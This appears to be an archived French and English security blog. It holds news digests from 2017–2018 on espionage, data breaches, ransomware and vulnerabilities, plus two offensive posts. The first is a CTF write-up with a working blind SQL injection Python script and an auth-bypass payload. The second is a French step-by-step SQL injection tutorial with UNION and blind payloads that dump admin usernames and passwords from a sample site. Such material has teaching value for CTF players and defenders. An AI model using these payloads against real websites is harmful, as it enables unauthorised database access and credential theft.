mardi 19 juin 2018

Actualité sécurité


[ESPIONNAGE] Un groupe d'attaquants chinois a infiltré en début d'année les ordinateurs d'un prestataire de la Navy et a exfiltré 614 GiB de données classifiées traitant de recherche et développement sur des armes sous-marines.

La Russie, bien connue pour ses capacités offensives, n'est pas non plus exempte d'être victime d'espionnage. Des centres de maintenance spécialisés dans l'électronique ont été la cible d’une campagne de spear-phishing délivrant un outil de monitoring commercial ayant des capacités d'enregistrement à partir de la webcam ou d'accès aux fichiers présents sur la machine.

[BRAINSTORMING] Suite à la récente cyberattaque de la Banque du Chili, les autorités financières et le ministère des Finances ont établi un plan d'action afin de combattre ce type d'attaques dans le futur. Afin d'y arriver, il sera entre autres nécessaire de moderniser les outils et protocoles actuellement utilisés. À noter que la dernière régulation en matière de cybersécurité au Chili date de 1993.

[FUITE DE DONNÉES] Dixons Carphone, une multinationale spécialisée dans l'électronique et les télécommunications, qui a reconnu être victime d'une importante fuite de données impliquant 5,9 millions de cartes de paiement et 1,2 millions de données à caractère personnel. À noter, que cette même société a déjà été victime en 2015 d'une fuite de données impactant 2,4 millions de données à caractère personnel, dont 90 000 cartes de paiement.

Un chercheur en renseignement sur la menace a mis la main sur 43 millions d'adresse emails suite à l'analyse d'un botnet utilisé dans une campagne d'envoi de mails malveillants distribuant le cheval de Troie Trickbot. Cela fait suite à une mauvaise configuration du serveur utilisé par les cybercriminels.

Selon une étude récente, le nombre d'identifiants compromis ciblant l'Europe et la Russie depuis début 2018 a augmenté de 39% et cela représente désormais la moitié des cibles de fuite de données. Espérons que l'entrée en vigueur de la RGPD renversera la tendance…

[JUSTICE] Les forces de l'ordre américaine ont arrêté 74 personnes impliquées dans des fraudes de type Business Email Compromise (BEC) et ont saisi 2,4 millions de dollars et récupéré 14 millions de dollars de transferts frauduleux. Pour rappel, le coup estimé du BEC, à travers le monde, en 2017 était de 675 millions de dollars.

Yahoo! a été condamné au Royaume-Uni à 250 000£ suite à la compromission de 500 millions de comptes, dont 500 000 britanniques en 2014.

La CNIL a sanctionné à nouveau Optical Center en lui infligeant une amende de 250 000 euros pour atteinte à la sécurité des données de ses clients.

[VULNERABILITÉ] Une vulnérabilité vieille de 11 ans ciblant macOS a été dévoilée par un chercheur en sécurité. Celle-ci se base sur le contournement de l'API de signature de logiciels d'éditeurs tiers qui permet de faire passer du code malveillant non signé comme étant signé par Apple.

Il y a quelques jours encore, il était possible de déverrouiller une session utilisateur Windows et de changer le mot de passe associé sans aucune action de son utilisateur. La technique ? Le demander gentiment à Cortana, l’assistant virtuel embarqué dans Windows 10.

lundi 26 mars 2018

Actualité SECU

[JUSTICE] La justice a remporté plusieurs victoires cette semaine en commençant par l'éradication de l'outil Luminosity Link, un RAT vendu pour la modique somme de 40 euros à plus de 8 600 personnes dans 78 pays différents. Ce coup d'arrêt a été possible grâce à une coopération internationale des forces de l'ordre et du support d'Europol.

Le département de la justice américain a annoncé avoir démantelé le forum cybercriminel Infraud Organization. Ce forum au slogan évocateur « In Fraud We Trust », comptabilisait plus de 10 000 utilisateurs et représentait 530 millions de dollars de pertes envers les consommateurs, entreprises et institutions financières. Un de ses membres était notamment connu sur ce forum pour développer des malware s'attaquant aux points de ventes pour voler des données bancaires.

[RANSOMWARE] L'imagination des cybercriminels pour élaborer de nouveaux scénarios de fraude est sans limite. Le FBI a ainsi annoncé qu'une campagne de spams envoyait actuellement des messages usurpant l'Internet Crime Complaint Center (IC3) et proposant de remplir un document de remboursement suite à des dommages causés par une cyber-attaque. Le document en question, une fois ouvert, délivre sa charge malveillante sous forme d'un ransomware.

[ESPIONNAGE] Le groupe d'attaquants russophone Fancy Bear a ciblé différentes personnes travaillant dans le domaine des drones, missiles, roquettes, avions de combat furtifs mais aussi de plateformes de cloud computing. Les 87 personnes dans leur collimateur recevaient un mail contenant un lien de phishing usurpant, par exemple, une alerte de sécurité Google. Les domaines des nouvelles technologies telles que le cloud computing ont été également ciblés car la CIA a signé un contrat avec Amazon pour la mise en place d'une plateforme partagée entre les services de renseignements américains. En 2017, le vice premier ministre russe se réjouissait que l'écart technologique avec les États-Unis dans le domaine des drones de combat était désormais très réduit...

[RISQUE] Le numéro 2 du groupe Saint-Gobain est récemment revenu sur les conséquences de l'attaque Not Petya qu'ils ont subie par l'intermédiaire de leur filiale ukrainienne. En plus de repasser au stylo pour l'édition de factures dans leur réseau de distribution Lapeyre et Point P, cette attaque s'est soldée par quatre jours de gestion de crise et dix jours pour que l'activité reprenne totalement. La leçon a visiblement été retenue car le groupe a depuis souscrit à une cyber-assurance incluant les attaques numériques et représentant 10 à 15% du budget du département IT.

[JEUX OLYMPIQUES] Les recommandations de l'US-CERT pour les personnes se rendant à Pyeongchang pour suivre les Jeux Olympiques n’étaient pas inutiles. McAfee, qui avait analysé des documents malveillants ciblant les organisations olympiques, avait également prévenu sur la menace numérique autour des Jeux Olympiques. C'est désormais officiel, les Jeux Olympiques 2018 ont déjà été victime d'une attaque informatique lors de la cérémonie d'ouverture. Ce que The Guardian pensait initialement être des problèmes techniques était bien les conséquences d’une cyber-attaque. D'après les premières analyses, cela repose sur un malware ayant pour seul but de détruire et qui aurait des fonctionnalités déjà observées pour BadRabbit et Nyetya.

Fuite de la semaine

Apple a subi cette semaine la plus grosse fuite de données de son histoire avec la mise en ligne sur la plate-forme Github du code source d'iBoot. Ce dernier, l'un des composants les plus critiques des iDevices d’Apple (iPhones, iPad…), est en charge du démarrage des appareils, phase la plus intéressante pour la communauté des jailbreakers mais également des services de renseignements. En effet, trouver un bug à ce niveau est rétribué 200 000 dollars dans le programme Bug Bounty d'Apple et permettrait de compromettre la chaîne de démarrage et de potentiellement accéder aux données contenues dans les appareils. Bien que le code corresponde à celui d'iOS 9, c'est un composant qui est moins fréquemment modifié que le système d'exploitation et qui est donc susceptible d'être exploitable dans ses versions plus récentes. Cette fuite proviendrait d'un ancien développeurs bas niveau d'Apple, proche de la communauté jailbreak et qui aurait partagé ce code à ses amis. L'un de ces amis, l'aurait ensuite partagé à une tierce personne, qui l'aurait un peu trop disséminé, résultant de la publication sur Github.



samedi 10 mars 2018

Writeup for my WEB task called FATALITY presented at the HACKINI CTF 2k18


#WRITEUP #HACKINI #WEB # FATALITY_150 #BZAKARIA

Hi all, a little late but I did not forget you for the writeup of the web challenge that was not resolved by any team at the HACKINI CTF. It is called 'fatality' and had 150 points.
The task is not too difficult overall, but contains little effect that push you to think outside the box.
Basically, the home page only contains a web form that asks you to authenticate yourself to access the restricted space. Indeed, no information is given to you in advance. But if you dig deeply, you will surely get some.



Let's get right to the point. As there is a login form, it is clear that we need the correct username and password to authenticate.

You can take your time trying combinations of login / password or trying to brute-force the form, but you will not go further.

In the source code of the web page (CTRL + U) some things can catch our eyes.

The first thing is the hidden field that has as value:
SEFDS0lOSXtUaGlzX0lzX0FfUmVkaGVycmluZ30 =

It looks like a base64-encoded text. By decoding this one, we obtain:
HACKINI {This_Is_A_Redherring}

Hmmm .. not really interesting after all !! it looks like a fake flag since the word redherring appears on it (see https://en.wikipedia.org/wiki/Red_herring)

Let's try harder.

Another interesting thing is the word 'guest' foundable at the end of the source code. It seems to be a valid login. But the password is missing.

Since the username is given to you, you must understand that the login field is not injectable. You must deal with the password field.

The correct payload to pass is a little irregular. There it is:
')) or 1 = 1 #


Why like that? Because the SQL query behind look like this:
AND mdp = SHA1 (md5 ('$ _ POST [' password] '))

Doing it this way doesn't increase the robustness of the hash but it was not the goal. ^^

I think that was the hardest step of the challenge.

By injecting correctly the password field and by gaining access, it just takes you to another web page that shows you messages "Welcom!" and "Nothing is here".

This should lead you to realize that there is nothing special in the space.

Those messages are here just to be used in the context of a blind injection

You only have one corner to look for, it's the database.

A hint was given in the meantime which is :
flag everywhere

This is a classical HINT which means that either the table name or the column name you have to look for is named 'flag'.

Since your injection must be in a BLIND way, a script is more or less required.

The script below is pretty simple, it will inject the correct payload to get the length of the flag in the right place. Next, it will do many sql injections to get the flag char by char from the right place too since it will not be possible to do otherwise because we are dealing with a blind injection.

import requests
import re

trouve=0
longueur=0

while (trouve==0):
       payload="')) or (select length(flag) from flag)="+str(longueur)+"#"
       requette={'login':"guest",'password':payload}
       resultat=requests.post('http://localhost/web/fatality_150/index.php', data=requette).content
       res=re.search("Welcom  !",resultat)
       if res is not None:
             trouve=1
       else:
             longueur+=1
            
            
print "Length of the flag is : " + str(longueur)

trouve=0
length=1
caractere=32
flag=""

while(trouve==0):
       payload="')) or ascii(substring((select flag from flag),"+str(length)+",1))="+str(caractere)+"#"
       requette={'login':'guest','password':payload}
       resultat=requests.post('http://localhost/web/fatality_150/index.php',data=requette).content
       res=re.search("Welcom  !",resultat)
       if res is not None:
             if (length!=longueur):
                    flag+=chr(caractere)
                    length+=1
                    caractere=32
             else:
                    flag+=chr(caractere)
                    trouve=1
       else:
             caractere+=1

print ("The flag is : %s " % flag)

The result is just below :



Good reading.

lundi 27 novembre 2017

Actualité sécurité du mois

[Attaque] Les chercheurs de Kaspersky ont découvert des attaques informatiques ciblées provenant du groupe BlackOasis. La spécificité de ces attaques est qu’elles utilisent une vulnérabilité 0-Day d’Adobe Flash embarquée dans un document Office propagé par email. Un correctif concernant la vulnérabilité CVE-2017-11292 a depuis été publié par Adobe. La charge malveillante déployée par les attaquants est l’outil d’espionnage FinSpy.

[Darkweb] Un kit de malware ciblant les DAB a été découvert en vente sur le marché du Darkweb. Cutlet Maker qui permettait de vider les distributeurs de billets, coûtait 5 000 dollars quand il était en vente sur AlphaBay, un « darkmarket » que le FBI a fait fermer en juin. Une des fonctionnalités du malware lui permettait d’analyser le contenu des différentes cassettes de billets afin de cibler celle contenant le plus gros montant.

[Leak] Les informations à caractère personnel de plus de 30 millions de personnes supposément d’Afrique du Sud, ont fuitées. L’exfiltration des données aurait eu lieu en mars 2017 ou avant et la fuite contiendrait des données remontant jusqu’aux années 90.

[Ransomware] Le marché des ransomware se porte très bien selon l’étude de Carbon Black. Les ventes de ransomware auraient grimpé de 2 500% entre 2016 et 2017. Ces programmes malveillants seraient vendus dans plus de 6 300 points de ventes différents sur le « darkweb ». Plus de 45 000 produits différents y seraient proposés avec des prix allant de 0,5 dollar à 3 000 dollars. Certains développeurs de ransomware génèrent plus de 100 000 dollars par an grâce à leurs ventes.

[Malware] Symantec a découvert un malware ciblant Android nommé Sockbot dans la bibliothèque officielle Google Play. Selon les chercheurs, le malware se propagerait sur le store via 8 applications différentes avec un nombre d’installations allant de 600 000 à 2,6 millions d’appareils. Les appareils compromis sont ajoutés à un botnet et pourraient être utilisés dans des campagnes d’attaques DDoS.

[Vulnérabilité] Le fabricant de cartes à puces Infineon a dévoilé que plusieurs versions de leurs produits sont affectés par une vulnérabilité permettant de casser les clés RSA de 1024 et 2048 bits. Les chercheurs tchétchènes à l’origine de cette découverte ont nommé cette vulnérabilité ROCA. Elle permet de calculer la clé privée générée par les puces concernées juste avec la clé publique. Les chercheurs précisent que le calcul nécessaire au cassage d’une clé coûterait entre 40 dollars (1024 bits) et 40 000 dollars (2048 bits) sur les infrastructures Amazon.

Vulnérabilité de la semaine

Des chercheurs ont découvert une vulnérabilité dans le protocole WPA2 utilisé notamment pour sécuriser les communications des réseaux WiFi. L’attaque nommée KRACK exploite des vulnérabilités dans le protocole d’initialisation du chiffrement des communications entre le client et le point d’accès. De nombreux scénarios d’attaques sont possibles, comme par exemple, des attaques de type homme du milieu, permettant le vol d’informations ou la modification des communications à la volée. En France, Orange et Free ont déclaré, après avoir enquêté, que leurs boxes n’étaient pas concernées par la vulnérabilité. Source

mercredi 25 octobre 2017

[Tuto] Exploitation des injections SQL basiques

*** Sommaire ***

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Chapitre I)
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0) Description : Qu'es-qu'une injection SQL
1) Comment reconnaître qu'un site est vulnérable aux injections SQL
2) Trouver le nombre de colonnes
3) Utiliser la fonction UNION
4) Trouver la version du MySQL
5) Trouver les noms des colonnes et des tables et dumper les données

__________
Chapitre II)
__________

1) Description : Qu'es-qu'une injection SQL aveugle
2) Comment reconnaître qu'un site est vulnérable aux injections SQL aveugles
3) Trouver la version du MySQL
4) Tester si la sélection marche
5) Trouver les noms des colonnes et des tables et dumper les données


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>> Allons y...

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Chapitre I)
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0) Description : Qu'es-qu'une injection SQL


Le SQL INJECTION est l'une des communes les plus vulnérables dans les applications web de 
nos jours.
Il permet d'exécuter la requête dans la base de données et d'avoir grace a l'url a certains 
renseignements confidentiels et bien d'autres...

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1) Comment reconnaitre qu'un site est vulnérable a un SQL ?

Commencons ce tuto en force !
Prénons un exemple d'un site par exemple:

http://www.site-exemple.com/news.php?id=9
Maintenant, il faudra tester si ce site est vulnérable par SQL, c'est simple , nous ajoutons
un ' ( quote ) et donc l'exemple deviendra :
http://www.site-exemple.com/news.php?id=9' <= quote ajouter !

Maintenant, si vous appercevez une erreur du genre:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right etc..."

Ou une erreur de cet exemple, cela signifie que ce site est vulnérable par SQL. ^^

=============> 

2) Trouver le nombre de columns.

Pour trouver le nombre de columns , on utilisera " ORDER BY " qui demande a la base un 
résultat.

Donc maintenant, comment on utilise cela? Eh bien simplement augmenter le nombre jusqu'à ce 
que nous obtenons une erreur comme dans l'exemple ci-dessous:

http://www.site-exemple.com/news.php?id=9 order by 1/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 2/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 3/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 4/* <-- error (une erreur du genre: 
Unknown column '4' in 'order clause' ou un truc de ce genre s'affichera)
 
Cela signifie que l'on dispose de 3 colonnes, car nous avons reçu une cause d'erreur sur 4.

=============> 

3) Utiliser la fonction UNION.

Passons aux choses un peux plus dure..
Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un 
seul SQL a la fois.
Donc nous aurons:
http://www.site-exemple.com/news.php?id=9 union all select 1,2,3/* (nous avons deja trouver 
que le nombre de column est bien 3 , revoir la section (Chapitre I , cours : 2). )

si nous voyons quelques chiffres sur l'écran, c'est-à-dire 1 ou 2 ou 3 alors l'union a 
fonctionné.
Si cela ne fonctionne pas , essayer de changer le /* par -- 

=============> 

4) Trouver la version du MySQL.
Disons que nous avons le numero 2 , maintenant il faudra connaitre la version MySQL , pour 
cela nous allons remplacer le numero 2 par @@version ou version() et nous aurons quelques choses du genre: 4.1.33-log or 5.0.45 ou du meme type...

alors l'exemple sera:
http://www.site-exemple.com/news.php?id=9 union all select 1,@@version,3/*
Bingo , la version du MySQL est devant vos yeux :)

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5) Trouver les noms des columns et tables et l'exploitation.

Maintenant si la version est < 5 ( 4.1.33, 4.1.12...) , vous devez savoir que les noms de 
table commun pour cette version sont: user/s , admin/s , member/s .........
pour les columns c'est: username , user, usr, user_name, password, pass, passwd, pwd ....

Passons a son exploitation:

Cherchons la table d'admin:

http://www.site-exemple.com/news.php?id=9 union all select 1,2,3 from admin/*
Si vous appercevez le numero 2 , alors cela signifie que vous venez de trouver la table 
d'admin et qu'il existe...

Cherchons les noms des columns:

http://www.site-exemple.com/news.php?id=9 union all select 1,username,3 from admin/* (si 
vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le nom d'utilisateur qui s'affiche à l'écran, par exemple, être admin ou 
superadmin etc alors c'est bon...

Maintenant pour la column de mot de passe,

http://www.site-exemple.com/news.php?id=9 union all select 1,password,3 from admin/* 
(si vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le password a l'écran du type hash ou sans, alors c'est bon, le type varie 
en fonction de la base de donnée

Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex 
pour la colonne.

http://www.site-exemple.com/news.php?id=
9 union all select 1,concat(username,0x3a,password),3 from admin/*

Vous allez voir quelques choses du genre:
username:password , admin:admin , admin:unhash..

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=============> 

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Chapitre II)
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1) Description : Blind SQL INJECTION.
Le blind se définit comme le sql normal sauf qu'il est un peu plus dure....

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2) Comment reconnaitre qu'un site est vulnérable au BLIND SQL ?

Prenons un exemple de:
http://www.site-exemple.com/news.php?id=9

Quand on ouvre la page , nous voyons des articles, images ou autres...
Vous pouvez donc tester le blind :

http://www.site-exemple.com/news.php?id=9 and 1=1 <--- ceci est toujours vrai !
Si la page se charge normalement , c'est bon.

http://www.site-exemple.com/news.php?id=9 and 1=2 <--- ceci est faux
Donc si quelques textes ou images ou un truc est oublié ou déformer, alors ce site est 
exploitable par le blind SQL.

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3) Trouver la version du MySQL.

Pour avoir la version dans le blind, nous utiliserons le " substring ".

http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=4
Si la page s'affiche normalement, alors c'est une version 4.

http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=5
Si la page s'affiche normalement, alors c'est une version 5.

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4) Tester si la sélection marche.

Quand le select ne marche pas, nous utiliserons donc le subselect.

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1)=1

si la page se charge normalement, alors le subselect marche.
et si nous voulons voir si nous avons l'access au mysql.user , on fait:

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from mysql.user limit 0,1)=1
Si la page se charge normalement, alors nous avons access au mysql.user et nous pourons 
avoir quelques mot de passe en utilisant la fonction load_file() et OUTFILE.

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5) Trouver les noms des colomns et tables et l'exploitation.

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from users limit 0,1)=1
Si la page se charge normalement sans erreur alors la table users existe.
Si vous obtenez une erreur , alors vous devez changer le users et mettre autre chose, a 
vous de devinez :D c'est un bon jeu hein...

disons que nous avons trouver la table.. maintenant nous avons besoin du nom de la colonne..
tout comme cela du nom de table, nous commencons la devinette !!

http://www.site.com/news.php?id=
5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
Si la page se charge normalement, alors le nom de la colonne est password.

Ainsi , nous avons la table et la colonne , exploitons :)

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Nous continuons a changer le " 80 " jusqu'a trouver une erreur, suivez bien l'exemple:

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
Nous avons eu une fois de plus un chargement normal.. on continue
http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
Pareille, continuons

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
ERREURRR !!! donc le premier caractère dans username est char(99) si vous convertisser cela en ascii nous avons la lettre " c " .

Maintenant cherchons le second caractère:
http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Noter que je change ,1,1 a ,2,1 pour avoir le second caractère

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
La page se charge normalement

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
ERREUR nombre inférieur..

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
Chargement normal , élevé.

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
ERREUR

donc nous savons des a présent que le deuxieme caractère est char(105) et que c'est 'i' , 
cela fera "ci" jusqu'a présent...
Faite cela en mode croissant jusqu'a ce que vous obtenez la fin. (si< 0 retourne faux, nous 
avons atteint la fin alors).

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Nous voici a la fin de ce tutoriel.
Il existent pleins d'outils permettant d'automatiser entièrement l'exploitation des 
injections SQL mais 
apprenez tout de même a le faire manuellement, c'est important pour y voir plus claire.

J'espère que ce tutoriel vous a été utile.

mardi 10 octobre 2017

Actu Sécu

 
[Fuite de données] Equifax a annoncé la fin des investigations numériques concernant l’incident de sécurité révélé le 7 septembre 2017. Le nombre d’utilisateurs américains impactés par la fuite de données a augmenté de 2,5 millions pour un total de 145,5 millions. Environ 8 000 clients canadiens ont également été impactés. Le nombre de clients britanniques impactés n’a pas encore été révélé.

Après avoir acquis Yahoo, Verizon a procédé à des investigations supplémentaires concernant les différentes fuites de données subies par l’entreprise. Le nombre total de comptes email Yahoo impactés par la fuite de données révélée en 2013 atteint les 3 milliards. En plus de cet incident, 700 millions de comptes ont été compromis dans des incidents du même type survenus en 2014 et 2015.

Disqus, un service web de discussions et de commentaires centralisés, a été alerté qu’une sauvegarde de leur base de données utilisateurs datant de 2012 était exposée sur Internet. Les données concernées comprenaient principalement des adresses email et des noms d’utilisateurs en clair tandis que les mots de passe étaient stockés de manière sécurisée, hashés via SHA1 avec un sel. L’incident est toujours en cours d’investigation.

[Malware] La dernière analyse du malware injecté dans le logiciel CCleaner a démontré que le code de certaines fonctions a été partagé avec d’autres outils utilisés par un groupe d’attaquants chinois.

Un chercheur en sécurité a découvert dans l’application Uber sur iOS l’utilisation d’une fonctionnalité permettant d’enregistrer le contenu affiché sur l’écran des smartphones. Apple a permis à Uber d’utiliser un accès non documenté permettant d’écrire mais aussi de lire dans la mémoire contenant les pixels et les données affichés (framebuffer). Un logiciel malveillant pourrait utiliser cet accès spécial comme fonctionnalité permettant d’enregistrer les frappes clavier.

Lors de la conférence Virus Bulletin, un chercheur a prouvé la possibilité de cibler le BIOS d’une machine avec une mise à jour malveillante depuis un document Office embarquant une charge utile en PowerShell.

Une campagne de spams malveillante a utilisé des fichiers HTML compilés pour télécharger et installer un cheval de Troie bancaire brésilien. Les emails reçus prétendent venir de WhatsApp et contenir un historique de conversation. Les fichiers CHM sont principalement utilisés pour la documentation. Dans ce cas, le fichier d’aide pour IPv4 a été modifié pour lancer une commande PowerShell lors de l’ouverture du document.


Compromission

Même si cet événement n’a pas encore été tiré au clair, l’antivirus Kaspersky semble avoir été exploité par des attaquants liés au gouvernement russe pour voler des données sensibles de la NSA (National Secret Agency).
Les données ont été sorties de la NSA et stockées sur l’ordinateur personnel d’un consultant qui possédait l’antivirus Kaspersky. La fuite de données aurait eu lieu en 2015 et a été découverte au début de l’année 2016.
Il n’y a, pour le moment, aucune preuve que Kaspersky ait aidé les attaquants pour voler ces données. Une vulnérabilité dans l’antivirus ou dans le réseau de Kaspersky aurait pu également être utilisée pour exécuter à distance du code malveillant. Source
 


lundi 25 septembre 2017

Veille sécurité

[Vulnérabilité] La semaine a été chargée en vulnérabilités. À commencer par le Patch Tuesday de Microsoft et ses 82 vulnérabilités dont 27 critiques et une vulnérabilité de type zero-day impactant le framework .NET. Cette dernière a été utilisée en juillet dernier par un groupe d’attaquants, qui aurait tenté de cibler un public russophone. L’exploitation de cette vulnérabilité repose sur l’envoi d’un document Word spécialement forgé, sans macros et ayant pour finalité l’installation du logiciel d’espionnage FinFisher.

La deuxième faille de sécurité critique de la semaine se nomme Blueborne et concerne l’exploitation de la pile protocolaire Bluetooth. Des chercheurs de la société Armis, après avoir disséqué les quelques 2 822 pages de spécifications, ont pu mettre en avant plusieurs vulnérabilités permettant au final d’exploiter le système d’exploitation des périphériques ayant le Bluetooth d’activé. Ainsi, les 8.2 milliards de périphériques Bluetooth, fonctionnant sous Linux, Android, Windows et iOS sont potentiellement exploitables. Il est donc recommandé de tenir à jour son système d’exploitation et de désactiver le Bluetooth lorsqu’il n’est pas utilisé.

[Monnaies virtuelles] Les crypto monnaies, bien qu’étant dans le collimateur des régulateurs chinois, restent attrayantes pour les cybercriminels. Une étude récente a démontré la recrudescence de malware ayant pour but de miner des jetons de monnaies virtuelles et la hausse de leur présence sur des serveurs d’entreprise.

[Fuite d’informations] Une nouvelle fuite de données concernant le vote électronique a été découverte par une équipe de chercheurs en sécurité. Elle concerne les données de 593 328 citoyens américains (électeurs de l’état de l’Alaska) qui étaient publiquement accessibles sur Internet suite à une mauvaise configuration de la base de données.

Il ne faut pas sous-estimer l’importance d’une bonne communication lors d’une gestion de crise comme l’a appris à ses dépens la plate-forme de contenu multimédia Vevo. En effet, le groupe d’attaquants Our Mine, a contacté Vevo via Linkedin pour les informer qu’ils avaient exfiltrés des documents internes mais qu’ils ne seraient pas publiés. Cependant, la réponse virulente apportée n’était visiblement pas la bonne, puisque les 3,12 To de données internes ont été rendues publiques dans la foulée.


Des malwares tirent profit des mauvaises configurations de serveurs Elastic Search pour y déposer les malwares impactant les terminaux de paiement. Pas moins de 4 067 serveurs distribuent ainsi ces souches et servent également de serveurs de commande et de contrôle.


[Equifax] Suite à l’annonce la semaine dernière de la fuite de données de près de 143 millions de résidents américains par le président d’Equifax, de nouvelles informations ont été dévoilées. Equifax a ainsi reconnu que la compromission résulte d’une procrastination dans la mise à jour de certains serveurs concernant une faille de sécurité publiée en mars dernier visant Apache Struts (CVE-2017-5638). Selon les investigations, les attaquants auraient eu accès au réseau d’Equifax entre le 13 mai 2017 et le 30 juillet 2017 leur permettant également d’exfiltrer les informations personnelles de résidents britanniques et canadiens.

 [Menace]
La nouvelle tendance des cybercriminels s’oriente vers les « Supply chain attack » qui s’attaque aux systèmes de mise à jour d’éditeurs de logiciels. Cette fois-ci le système de mise à jour de CCleaner d’Avast a été visé. Selon Talos, seraient incriminées la version 32 bits v5.33 et la version Cloud 1.07.3191, mises en ligne entre le 15 août 2017 et le 11 septembre 2017. La finalité du code malveillant n’est pas encore claire à l’heure actuelle. Selon l’éditeur Avast, les versions impactées auraient été installées sur plus de 2 millions de machines. Il est vivement recommandé de mettre à jour CCleaner dans les plus brefs délais.
Fonctionnement du code malveillant embarqué dans CCleaner v5.33 – Source Talos

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